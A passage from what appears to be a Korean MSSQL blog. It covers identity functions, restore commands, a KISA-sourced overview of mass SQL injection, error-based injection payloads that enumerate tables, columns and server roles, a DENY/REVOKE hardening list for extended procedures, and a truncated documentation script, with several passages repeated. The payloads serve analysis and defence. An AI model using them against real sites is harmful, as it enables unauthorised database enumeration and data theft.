우선 이 3가지 용법에 대해서 오해들이 많은거 같다
인터넷의 카패, 블로그 등 자료를 검색해 보면 이 용법을 상당히
잘못 설명한 곳들이 많아 제대로 개념을 잡고 가고자 한다.
@@IDENTITY
--> @@의 의미는 세션을 뜻한다 즉 해당 세션에서 테이블에 INSERT된 최종값을 의미한다
어느 정도의 부하가 있는 시스템에선 사용가능하나 멀티스레팅이 구현된 환경에서는
원하는 최종값이 아닌 엉뚱한 값이 들어갈 확률이 높다
해당 테이블에 대한 여러 접속자가 값을 반영하고 있는 경우 사용하면 안된다.
싱글 스레드 전용(중규모 사이트 용)
IDENT_CURRENT('테이블명')
--> 함수에서 알수 있듯이 세션에 상관 없이 해당 테이블에 대한 최종값 또는 들어갈 값을 의미한다
다른 IDENTITY와 다르게 데이터 입력전에 그 값을 알 수 있다
하지만 테이블 전체에 대한 값을 의미 하므로 1인용 시스템에 적합하다.
VB로 개인용 비디오 관리 시스템 같은거 이왼 쓰면 안된다.
즉 실시간으로 IDENTITY를 알아야 환경에서는 이런 함수는 없다고 생각하는 편이 낳다.
하지만 필요할 때가 있는데 실시간 통계등 어떤 고정된 시간을 두고 데이터를 추측해야 하는 시스템
예를 들면 실시간 광고시스템에서 1분 단위의 디피에 들어온 큐수치를 계산하고 싶을 경우
1분에 해당하는 레코드수를 구하기 위해서 COUNT를 하는 것은 매우 비효율적이다
즉 현재 테이블의 IDENTITY를 테이블 단위로 정확히 숫자를 가져오고 그 전값에서
차감하면 실시간 통계 계산에 편리해 진다.
바로 이럴때 사용하는 것이 IDENT_CURRENT('테이블') 함수이다.
SCOPE_IDENTITY()
--> 마지막으로 해당 프로세스 + 해당 세션의 최종 IDENTITY를 가져오고자 할때 필요하다
주로 대규모 사이트나 멀티스레드 환경에서 많이 쓰인다
예를 들어 이 함수가 실행되는 곳이 SP이거나 FN이거나 TRRIGER일수도 있다
그렇다면 해당 프로세스+세션으로 제한을 걸고 IDENTITY를 가져오기 때문에
실시간 키코드를 리턴해야 하는 상황에선 가장 신뢰할 수 있는 함수가 된다
비교하는 차원에서 오라클과 MYSQL을 보자면
오라클에선 IDENTITY라는 개념 보다 시퀀스라는 개념을 사용한다
일종에 자동증분 전용 테이블이라고 생각하면 되는데
생성은 CREATE SEQUENCE ..... 로 시작한다
시작값과 증가값 그리고 마지막 값을 지정할 수 있고
그 마지막 값에 도달했을때 1부터 다시 발행할지 아닐지 정할 수 있다
이외 자동키값 반환의 ROWID 같은 것들이 있으나 별로 권장하고 싶지는 않다
오라클의 경우 시퀀스라는 개념에 최적화 되어 있기 때문에 테이블을 생성할때
자동증분값이 필요하다면 항상 시퀀스고 같이 CREATE해야 한다
귀찮을 수 있지만 멀티스레드이든 싱글스레드이건 부정확한 값이 담기는 부작용이 없다
시퀀스의 이름이 CREATE SEQUENCE NEWKEY .... 라고 할때 이름은 NEWKEY가 되고
현제 시퀀스 : NEWKEY.CURRVAL
다음 시퀀스 : NEWKEY.NEXTVAL 이 된다
더 상세한 설명은 검색해 보길 바란다.
마지막으로 MYSQL이다
LAST_INSERT_ID() 함수를 제공한다 MSSQL에 비하면 @@IDENTITY 같은 개념이다
그 이외 추가적인 설명은 필요 하지 않다
MSSQL Restore (bak) MSSQL 디비 복원 2000, 2005, 2008 통합 (by Vins)
KOREAN -------------
실행 전 주의 사항 -3. 복원의 DB명은 미리 생성하지 말것(Unique DB Name)
1. 확인1
RESTORE HEADERONLY FROM DISK = '(A)backup file path and file name'
2. 확인2
RESTORE FILELISTONLY FROM DISK = '(A)backup file path and file name'
3. 복원
RESTORE DATABASE DB명(확인1에 DatabaseName컬럼)
FROM DISK = '(A)backup file path and file name'
WITH MOVE '(C)논리명(확인2에 logicalname)' TO '(E)D:\DATA파일경로\파일명.MDF',
MOVE '(D)논리명(확인2에 logicalname)' TO '(F)D:\LOG파일경로\파일명.LDF'
(A)backup file path and file name
--> 백업 파일의 원본 위치
(B)DBName
--> 유일한 이름의 디피명 (먼저 복원할 디피명을 생성하지 말것)
(C)logical DATA name
--> 확인2의 logicalname컬럼(DATA)을 입력하면 됨(복수일시 Move절 수만큼 반복해서 기입)
(D)logical LOG name
--> 확인2의 logicalname컬럼(LOG)을 입력하면 됨(복수일시 Move절 수만큼 반복해서 기입)
Statement')
(E)D:\DATA Path\DATA File.MDF
--> 저장하길 원하는 경로및 파일명(자동생성됨)
(F)D:\DATA Path\DATA File.LDF'
--> 저장하길 원하는 경로및 파일명(자동생성됨)
English --------------
1. Confirm Infomation 1 (C1)
RESTORE HEADERONLY FROM DISK = '(A)backup file path and file name'
sample) 'C:\vinsPrivate\vins\database-backup.bak'
2. Confirm Infomation 2 (C2)
RESTORE FILELISTONLY FROM DISK = '(A)backup file path and file name'
3. Restore
RESTORE DATABASE (B)DBName(DatabaseName Column in C1)
FROM DISK = '(A)backup file path and file name'
WITH MOVE '(C)logical DATA name' TO '(E)D:\DATA Path\DATA File.MDF',
MOVE '(D)logical LOG name' TO '(F)D:\DATA Path\DATA File.LDF'
(A)backup file path and file name
--> bak file and path
(B)DBName
--> Unique DATABASE Name (there is not DATABASE NAME Always)
(C)logical DATA name
--> logicalname in C2 (if Logical DATA was mutiful, you are going to write 'MOVE Statement')
(D)logical LOG name
--> logicalname in C2 (if Logical LOG was mutiful, you are going to write 'MOVE Statement')
(E)D:\DATA Path\DATA File.MDF
--> It's saving file and path, you want
(F)D:\DATA Path\DATA File.LDF'
--> It's saving file and path, you want
실행 전 주의 사항 -3. 복원의 DB명은 미리 생성하지 말것(Unique DB Name)
1. 확인1
RESTORE HEADERONLY FROM DISK = '(A)backup file path and file name'
2. 확인2
RESTORE FILELISTONLY FROM DISK = '(A)backup file path and file name'
3. 복원
RESTORE DATABASE DB명(확인1에 DatabaseName컬럼)
FROM DISK = '(A)backup file path and file name'
WITH MOVE '(C)논리명(확인2에 logicalname)' TO '(E)D:\DATA파일경로\파일명.MDF',
MOVE '(D)논리명(확인2에 logicalname)' TO '(F)D:\LOG파일경로\파일명.LDF'
(A)backup file path and file name
--> 백업 파일의 원본 위치
(B)DBName
--> 유일한 이름의 디피명 (먼저 복원할 디피명을 생성하지 말것)
(C)logical DATA name
--> 확인2의 logicalname컬럼(DATA)을 입력하면 됨(복수일시 Move절 수만큼 반복해서 기입)
(D)logical LOG name
--> 확인2의 logicalname컬럼(LOG)을 입력하면 됨(복수일시 Move절 수만큼 반복해서 기입)
Statement')
(E)D:\DATA Path\DATA File.MDF
--> 저장하길 원하는 경로및 파일명(자동생성됨)
(F)D:\DATA Path\DATA File.LDF'
--> 저장하길 원하는 경로및 파일명(자동생성됨)
English --------------
1. Confirm Infomation 1 (C1)
RESTORE HEADERONLY FROM DISK = '(A)backup file path and file name'
sample) 'C:\vinsPrivate\vins\database-backup.bak'
2. Confirm Infomation 2 (C2)
RESTORE FILELISTONLY FROM DISK = '(A)backup file path and file name'
3. Restore
RESTORE DATABASE (B)DBName(DatabaseName Column in C1)
FROM DISK = '(A)backup file path and file name'
WITH MOVE '(C)logical DATA name' TO '(E)D:\DATA Path\DATA File.MDF',
MOVE '(D)logical LOG name' TO '(F)D:\DATA Path\DATA File.LDF'
(A)backup file path and file name
--> bak file and path
(B)DBName
--> Unique DATABASE Name (there is not DATABASE NAME Always)
(C)logical DATA name
--> logicalname in C2 (if Logical DATA was mutiful, you are going to write 'MOVE Statement')
(D)logical LOG name
--> logicalname in C2 (if Logical LOG was mutiful, you are going to write 'MOVE Statement')
(E)D:\DATA Path\DATA File.MDF
--> It's saving file and path, you want
(F)D:\DATA Path\DATA File.LDF'
--> It's saving file and path, you want
자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석
한국정보보호진흥원(KISA) 에서 '자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석(Mass SQL Injection)' 자료가 올라왔습니다.
지난 10월부터 “SQL Injection 공격”이 쿠키를 통해서 공격을 하더니, 요즘 들어서는 동일한 방식으로 대량으로 들어오는 형태로 운영되고 있습니다. 아래 자료는 KISA 자료이며, 홈페이지에서 자료도 다운로드 가능합니다.
인터넷 홈페이지를 대상으로 지속되고 있는 개인정보 유출사고나 악성코드 삽입 사고는 SQL Injection 취약점으로 인해 발생한 경우가 대부분이다. “SQL Injection 공격”은 “악성 SQL문 주입공격”으로도 불리며, 홈페이지와 데이터베이스가 데이터를 주고받을 때 적절한 입력값 검증을 하지 않아 공격자가 주입한 SQL 명령어가 실행되면서 발생한다. 이러한 SQL Injection 공격은 지금도 계속해서 지속되고 있고, 데이터베이스에 악성코드가 삽입된 사고 사례도 분석된 바 있었다.
SQL Injection을 이용한 악성코드 대량 삽입 사고의 특징
과거에는 웹 사이트에 접속하는 PC를 감염시키기 위해 초기페이지나 방문자가 많은 페이지를 대상으로 그 페이지 파일에 악성코드를 삽입하였다. 하지만 본 문서에서 다루는 악성코드 대량 삽입 사고는 데이터베이스의 문자형 컬럼의 자료 값 모두에 악성코드의 유포지 정보(URI)가 삽입된다.
다운로드 : 자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석
지난 10월부터 “SQL Injection 공격”이 쿠키를 통해서 공격을 하더니, 요즘 들어서는 동일한 방식으로 대량으로 들어오는 형태로 운영되고 있습니다. 아래 자료는 KISA 자료이며, 홈페이지에서 자료도 다운로드 가능합니다.
KISA 참조
인터넷 홈페이지를 대상으로 지속되고 있는 개인정보 유출사고나 악성코드 삽입 사고는 SQL Injection 취약점으로 인해 발생한 경우가 대부분이다. “SQL Injection 공격”은 “악성 SQL문 주입공격”으로도 불리며, 홈페이지와 데이터베이스가 데이터를 주고받을 때 적절한 입력값 검증을 하지 않아 공격자가 주입한 SQL 명령어가 실행되면서 발생한다. 이러한 SQL Injection 공격은 지금도 계속해서 지속되고 있고, 데이터베이스에 악성코드가 삽입된 사고 사례도 분석된 바 있었다.
SQL Injection을 이용한 악성코드 대량 삽입 사고의 특징
- 데이터베이스에 악성코드를 대량으로 삽입
- 자동 삽입 스크립트를 사용하여 한번에 악성코드를 대량 삽입
- POST나 HTTP Header(쿠키, 리퍼러 등)를 이용한 경우는 공격 로그를 찾기 어려움
- 악성코드 삽입 과정에서 데이터의 손실 또는 유실 발생
과거에는 웹 사이트에 접속하는 PC를 감염시키기 위해 초기페이지나 방문자가 많은 페이지를 대상으로 그 페이지 파일에 악성코드를 삽입하였다. 하지만 본 문서에서 다루는 악성코드 대량 삽입 사고는 데이터베이스의 문자형 컬럼의 자료 값 모두에 악성코드의 유포지 정보(URI)가 삽입된다.
KISA 참조
다운로드 : 자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석
cookie, declear 구문 - SQL Injection
회사에선 어떻게 막고 있나 싶을 정도로 웹 해킹은 끊이지 않고 있다. 분당 수십번씩 공격이 들어오고 있다.
잠깐만 오픈해 놓더라도 바로 들어올 정도라고 봐도 된다.
특히 지난 10월부터 국내에는 쿠키 암호화공격이 늘어나고 있는 추세이다. 초기엔 단순한 공격에서 요즘 들어서는 자동화 형태로 만들어져서 취약점 스캐닝 툴을 통해서 바로 공격도 할 수 있는 것이 인터넷에
돌아다니고 있을 정도다.
이젠, 소스 취약점을 완벽하게 막지 않는한 달리 방법이 없어 보이고, 웹방화벽을 도입하지 않고서는 웹 서비스 운영이 어려운 상황이 되어 버렸다.
아래 자료는 cookie injection 을 이용한 공격 도구인 'ASP MSSQL SQL Injection Tool' 을 통한 해킹 자료이다.
(SK Infosec Computer Incidents Response Team 자료임)
자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석
잠깐만 오픈해 놓더라도 바로 들어올 정도라고 봐도 된다.
특히 지난 10월부터 국내에는 쿠키 암호화공격이 늘어나고 있는 추세이다. 초기엔 단순한 공격에서 요즘 들어서는 자동화 형태로 만들어져서 취약점 스캐닝 툴을 통해서 바로 공격도 할 수 있는 것이 인터넷에
돌아다니고 있을 정도다.
이젠, 소스 취약점을 완벽하게 막지 않는한 달리 방법이 없어 보이고, 웹방화벽을 도입하지 않고서는 웹 서비스 운영이 어려운 상황이 되어 버렸다.
아래 자료는 cookie injection 을 이용한 공격 도구인 'ASP MSSQL SQL Injection Tool' 을 통한 해킹 자료이다.
(SK Infosec Computer Incidents Response Team 자료임)
SQL Injection 자동화 공격은 매우 오래 전부터 공격이 되고 있으며, 이러한 공격 툴은 다양한 버전들이 공개 되어 있다. 이 공격 툴 역시 2007년도에 공개 된 것이며, “cookie,declear 구문” 을 사용한 점이 주요 특징이라고 할 수 있겠다.
이러한 점으로 보아, “MASS SQL Injection” 공격이 일어나기 전부터, 관련 연구가 있었던 것으로 보인다. SQL Injection 공격에 대비 하기 위해서는 취약점을 가지고 있는 SQL Injection 포인트를 찾아, 보안을 고려한 안전한 코딩이 우선시 되어야 할 것이다.
전체 이름 추적 */
And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top 1
id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--;
/* 특정 테이블의 column 추적 */
and (select top 1
nchar(124)+col_name(object_id(0x6d0065006d006200650072005f0069006e0066006f00),1)+nc
har(124) from sysobjects)>0--;
/* 특정 테이블의 column 값 추적 */
And (Select Top 1 char(124)+isNull(cast([column_name] as
nvarchar(4000)),char(32))+char(124) from (Select Top 1 [column_name] From [table_name]
Where 1=1 Order by [column_name]) T Order by [column_name] desc)>0--;
/* MSSQL Server INFO */
and (select char(124)+@@VERSION
+char(92)+system_user+char(92)+user+char(92)+db_name()+char(92)+convert(char(1),IS_ME
MBER
(0x640062005F006F0077006E0065007200))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x
730079007300610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x73
0065007200760065007200610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEM
EMBER(0x620075006C006B00610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROL
EMEMBER(0x73006500740075007000610064006D0069006E00))+char(92)+convert(char(1),IS_S
RVROLEMEMBER(0x6400690073006B00610064006D0069006E00))+char(124))>0--;
이러한 점으로 보아, “MASS SQL Injection” 공격이 일어나기 전부터, 관련 연구가 있었던 것으로 보인다. SQL Injection 공격에 대비 하기 위해서는 취약점을 가지고 있는 SQL Injection 포인트를 찾아, 보안을 고려한 안전한 코딩이 우선시 되어야 할 것이다.
전체 이름 추적 */
And (Select Top 1 nchar(124)+cast(name as varchar(8000))+nchar(124) from(Select Top 1
id,name from sysobjects Where xtype=char(85) order by id) T order by id desc)>0--;
/* 특정 테이블의 column 추적 */
and (select top 1
nchar(124)+col_name(object_id(0x6d0065006d006200650072005f0069006e0066006f00),1)+nc
har(124) from sysobjects)>0--;
/* 특정 테이블의 column 값 추적 */
And (Select Top 1 char(124)+isNull(cast([column_name] as
nvarchar(4000)),char(32))+char(124) from (Select Top 1 [column_name] From [table_name]
Where 1=1 Order by [column_name]) T Order by [column_name] desc)>0--;
/* MSSQL Server INFO */
and (select char(124)+@@VERSION
+char(92)+system_user+char(92)+user+char(92)+db_name()+char(92)+convert(char(1),IS_ME
MBER
(0x640062005F006F0077006E0065007200))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x
730079007300610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEMEMBER(0x73
0065007200760065007200610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROLEM
EMBER(0x620075006C006B00610064006D0069006E00))+char(92)+convert(char(1),IS_SRVROL
EMEMBER(0x73006500740075007000610064006D0069006E00))+char(92)+convert(char(1),IS_S
RVROLEMEMBER(0x6400690073006B00610064006D0069006E00))+char(124))>0--;
skinfosec-chr-028-asp-mssql-cookie-sql-injection-tool.pdf자동화된 SQL Injection 공격을 통한 악성코드 대량 삽입 수법 분석
SQL Injectin 공격 방어를 위한 DB 설정 변경
SQL Injection 공격이 여전히 활발하게 들어오고 있습니다. 최근에는 MSSQL이건 Oracle이건 가리지 않는 속성을 보여주더군요. 요즘의 SQL Injection공격은 DB를 변조하는 방식으로 진행되었지만, 아직도 일부 SQL Injection 공격은 여전히 시스템 장악을 목적으로 사용됩니다. 가장 대표적인 공격이 바로 xp_cmdshell 이겠지요.
xp_cmdshell와 같은 명령어는 잘쓰면 좋지만, 아무나 사용할 수 있다면 최악의 상황으로 이어질 수 있습니다.
이러한 공격을 막는 방법으로 서버에 도달하기 이전에 웹방화벽에서 필터링을 하고, 웹소스 레벨에서 필터링을 하고, DB에서 적절한 권한 부여라는 모든 단계를 거치는 것이 좋습니다. 이 방법을 모두 동원할 수 없다 할지라도, 적어도 두개 이상의 방법을 선택하여 진행하여야 안전하다고 할 수 있습니다.
- 웹방화벽이 완벽을 말할 수 없는 이유는 학습하는데 걸리는 시간이 있기 때문이며(WebKnight와 같이 지능형 장비가 아닌 경우는 패턴 추가하기 전까지는 답이 없습니다),
- 웹소스 레벨의 필터링은 개발자의 실수가 있을 수 있기 때문이며,
- DB에서의 권한 부여는 기본값 그대로 쓰기에는 충분히 위험하기 때문입니다.
위에 나열한 3가지 필터링할 수 있는 부분 중에서 어느 한 곳만이라도 확실히 막기만 한다면, 웹 취약점을 이용한 공격은 생각보다 많이 막을 수 있습니다, 그 중에서 DB의 권한 제어를 위해 금지 또는 조심해야 할 확장 프로시저는 다음과 같은 형식으로 제어할 수 있습니다.
USE master
DENY EXECUTE ON [master].[dbo].[xp_availablemedia] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_dirtree] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fileexist] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fixeddrives] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_getfiledetails] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletekey] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletevalue] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regread] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regremovemultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regwrite] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_subdirs] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_availablemedia] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_dirtree] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fileexist] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fixeddrives] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_getfiledetails] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regaddmultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletekey] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletevalue] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regread] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regremovemultistring] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regwrite] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_subdirs] TO [guest] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_availablemedia] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_dirtree] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fileexist] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_fixeddrives] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_getfiledetails] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regaddmultistring] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletekey] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regdeletevalue] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regread] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regremovemultistring] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_regwrite] TO [public] CASCADE
DENY EXECUTE ON [master].[dbo].[xp_subdirs] TO [public] CASCADE
USE msdb
REVOKE ALL ON dbo.mswebtasks FROM public
REVOKE EXECUTE ON sp_add_job FROM public
REVOKE EXECUTE ON sp_add_jobserver FROM public
REVOKE EXECUTE ON sp_add_jobstep FROM public
REVOKE EXECUTE ON sp_enum_dtspackages FROM public
REVOKE EXECUTE ON sp_get_dtspackage FROM public
REVOKE EXECUTE ON sp_get_sqlagent_properties FROM public
REVOKE EXECUTE ON sp_start_job FROM public
위에 있는 쿼리는 SQL 서버에 쿼리 분석기로 연결한 후 한번 실행해주면 간단하게 할 수 있는 부분입니다만, 실제 서버에 바로 적용하면 돌이킬수 없는 상황이 되버릴 수도 있습니다. 특히 스케줄 부분에 대한 확장 프로시저를 건드리기 때문에 복잡한 구성을 가진 SQL 서버라면 적용시 장애로 이어질 수도 있습니다.
더구나, 위에 있는 쿼리를 실행한다고 해서 서버가 완벽하게 보호되는건 아닙니다. SELECT 나 UPDATE 같은 쿼리를 통해서 DB의 내용 자체를 변조하는 공격을 막을 수는 없기 때문입니다.
MSSQL 2000, 2005 테이블 명세 뽑는 쿼리
--//SQL Database documentation script
--//Description: T-SQL script to generate the database document for SQL server 2000/2005
Declare @i Int, @maxi Int
Declare @j Int, @maxj Int
Declare @sr int
Declare @Output varchar(4000)
--Declare @tmpOutput varchar(max)
Declare @SqlVersion varchar(5)
Declare @last varchar(155), @current varchar(255), @typ varchar(255), @description varchar(4000)
create Table #Tables (id int identity(1, 1), Object_id int, Name varchar(155), Type varchar(20), [description] varchar(4000))
create Table #Columns (id int identity(1,1), Name varchar(155), Type Varchar(155), Nullable varchar(2), [description] varchar(4000))
create Table #Fk(id int identity(1,1), Name varchar(155), col Varchar(155), refObj varchar(155), refCol varchar(155))
create Table #Constraint(id int identity(1,1), Name varchar(155), col Varchar(155), definition varchar(1000))
create Table #Indexes(id int identity(1,1), Name varchar(155), Type Varchar(25), cols varchar(1000))
If (substring(@@VERSION, 1, 25 ) = 'Microsoft SQL Server 2005')
set @SqlVersion = '2005'
else if (substring(@@VERSION, 1, 26 ) = 'Microsoft SQL Server 2000')
set @SqlVersion = '2000'
else
set @SqlVersion = '2005'
Print '<head>'
Print '<title>::' + DB_name() + '::</title>'
Print '<style>'
Print ' body {'
Print ' font-family:verdana;'
Print ' font-size:9pt;'
Print ' }'
Print ' td {'
Print ' font-family:verdana;'
Print ' font-size:9pt;'
Print ' }'
Print ' th {'
Print ' font-family:verdana;'
Print ' font-size:9pt;'
Print ' background:#d3d3d3;'
Print ' }'
Print ' table'
Print ' {'
Print ' background:#d3d3d3;'
Print ' }'
Print ' tr'
Print ' {'
Print ' background:#ffffff;'
Print ' }'
Print ' </style>'
Print '</head>'
Print '<body>'
set nocount on
if @SqlVersion = '2000'
begin
insert into #Tables (Object_id, Name, Type, [description])
--FOR 2000
select object_id(table_name), '[' + table_schema + '].[' + table_name + ']',
case when table_type = 'BASE TABLE' then 'Table' else 'View' end,
cast(p.value as varchar(4000))
from information_schema.tables t
left outer join sysproperties p on p.id = object_id(t.table_name) and smallid = 0 and p.name = 'MS_Description'
order by table_type, table_schema, table_name
end
else if @SqlVersion = '2005'
begin
insert into #Tables (Object_id, Name, Type, [description])
--FOR 2005
Select o.object_id, '[' + s.name + '].[' + o.name + ']',
case when type = 'V' then 'View' when type = 'U' then 'Table' end,
cast(p.value as varchar(4000))
from sys.objects o
left outer join sys.schemas s on s.schema_id = o.schema_id
left outer join sys.extended_properties p on p.major_id = o.object_id and minor_id = 0 and p.name = 'MS_Description'
where type in ('U', 'V')
order by type, s.name, o.name
end
Set @maxi = @@rowcount
set @i = 1
print '<table border="0" cellspacing="0" cellpadding="0" width="550px" align="center"><tr><td colspan="3" style="height:50;font-size:14pt;text-align:center;"><a name="index"></a><b>Index</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="550px" align="center"><tr><th>Sr</th><th>Object</th><th>Type</th></tr>'
While(@i <= @maxi)
begin
select @Output = '<tr><td align="center">' + Cast((@i) as varchar) + '</td><td><a href="#' + Type + ':' + name + '">' + name + '</a></td><td>' + Type + '</td></tr>'
from #Tables where id = @i
print @Output
set @i = @i + 1
end
print '</table><br />'
set @i = 1
While(@i <= @maxi)
begin
--table header
select @Output = '<tr><th align="left"><a name="' + Type + ':' + name + '"></a><b>' + Type + ':' + name + '</b></th></tr>', @description = [description]
from #Tables where id = @i
print '<br /><br /><br /><table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td align="right"><a href="#index">Index</a></td></tr>'
print @Output
print '</table><br />'
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Description</b></td></tr><tr><td>' + isnull(@description, '') + '</td></tr></table><br />'
--table columns
truncate table #Columns
if @SqlVersion = '2000'
begin
insert into #Columns (Name, Type, Nullable, [description])
--FOR 2000
Select c.name,
type_name(xtype) + (
case when (type_name(xtype) = 'varchar' or type_name(xtype) = 'nvarchar' or type_name(xtype) ='char' or type_name(xtype) ='nchar')
then '(' + cast(length as varchar) + ')'
when type_name(xtype) = 'decimal'
then '(' + cast(prec as varchar) + ',' + cast(scale as varchar) + ')'
else ''
end
),
case when isnullable = 1 then 'Y' else 'N' end,
cast(p.value as varchar(8000))
from syscolumns c
inner join #Tables t on t.object_id = c.id
left outer join sysproperties p on p.id = c.id and p.smallid = c.colid and p.name = 'MS_Description'
where t.id = @i
order by c.colorder
end
else if @SqlVersion = '2005'
begin
insert into #Columns (Name, Type, Nullable, [description])
--FOR 2005
Select c.name,
type_name(user_type_id) + (
case when (type_name(user_type_id) = 'varchar' or type_name(user_type_id) = 'nvarchar' or type_name(user_type_id) ='char' or type_name(user_type_id) ='nchar')
then '(' + cast(max_length as varchar) + ')'
when type_name(user_type_id) = 'decimal'
then '(' + cast([precision] as varchar) + ',' + cast(scale as varchar) + ')'
else ''
end
),
case when is_nullable = 1 then 'Y' else 'N' end,
cast(p.value as varchar(4000))
from sys.columns c
inner join #Tables t on t.object_id = c.object_id
left outer join sys.extended_properties p on p.major_id = c.object_id and p.minor_id = c.column_id and p.name = 'MS_Description'
where t.id = @i
order by c.column_id
end
Set @maxj = @@rowcount
set @j = 1
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Table Columns</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Datatype</th><th>Nullable</th><th>Description</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="150px">' + isnull(name,'') + '</td><td width="150px">' + upper(isnull(Type,'')) + '</td><td width="50px" align="center">' + isnull(Nullable,'N') + '</td><td>' + isnull([description],'') + '</td></tr>'
from #Columns where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
--reference key
truncate table #FK
if @SqlVersion = '2000'
begin
insert into #FK (Name, col, refObj, refCol)
-- FOR 2000
select object_name(constid), s.name, object_name(rkeyid) , s1.name
from sysforeignkeys f
inner join sysobjects o on o.id = f.constid
inner join syscolumns s on s.id = f.fkeyid and s.colorder = f.fkey
inner join syscolumns s1 on s1.id = f.rkeyid and s1.colorder = f.rkey
inner join #Tables t on t.object_id = f.fkeyid
where t.id = @i
order by 1
end
else if @SqlVersion = '2005'
begin
insert into #FK (Name, col, refObj, refCol)
-- FOR 2005
select f.name, COL_NAME (fc.parent_object_id, fc.parent_column_id) , object_name(fc.referenced_object_id) , COL_NAME (fc.referenced_object_id, fc.referenced_column_id)
from sys.foreign_keys f
inner join sys.foreign_key_columns fc on f.object_id = fc.constraint_object_id
inner join #Tables t on t.object_id = f.parent_object_id
where t.id = @i
order by f.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Refrence Keys</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Column</th><th>Reference To</th></tr>'
While(@j <= @maxj)
begin
select @Output = '<tr><td width="20px" align="center">' + Cast((@j) as varchar) + '</td><td width="150px">' + isnull(name,'') + '</td><td width="150px">' + isnull(col,'') + '</td><td>[' + isnull(refObj,'N') + '].[' + isnull(refCol,'N') + ']</td></tr>'
from #FK where id = @j
print @Output
Set @j = @j + 1;
end
print '</table><br />'
end
--Default Constraints
truncate table #Constraint
if @SqlVersion = '2000'
begin
insert into #Constraint (Name, col, definition)
select object_name(c.constid), col_name(c.id, c.colid), s.text
from sysconstraints c
inner join #Tables t on t.object_id = c.id
left outer join syscomments s on s.id = c.constid
where t.id = @i
and
convert(varchar,+ (c.status & 1)/1)
+ convert(varchar,(c.status & 2)/2)
+ convert(varchar,(c.status & 4)/4)
+ convert(varchar,(c.status & 8)/8)
+ convert(varchar,(c.status & 16)/16)
+ convert(varchar,(c.status & 32)/32)
+ convert(varchar,(c.status & 64)/64)
+ convert(varchar,(c.status & 128)/128) = '10101000'
end
else if @SqlVersion = '2005'
begin
insert into #Constraint (Name, col, definition)
select c.name, col_name(parent_object_id, parent_column_id), c.definition
from sys.default_constraints c
inner join #Tables t on t.object_id = c.parent_object_id
where t.id = @i
order by c.name
end
Set @maxj = @@rowcount
set @j = 1
if (@maxj >0)
begin
print '<table border="0" cellspacing="0" cellpadding="0" width="750px"><tr><td><b>Default Constraints</b></td></tr></table>'
print '<table border="0" cellspacing="1" cellpadding="0" width="750px"><tr><th>Sr.</th><th>Name</th><th>Column</th><th>Value</th></tr>'
While(@j <= @maxj)
begin
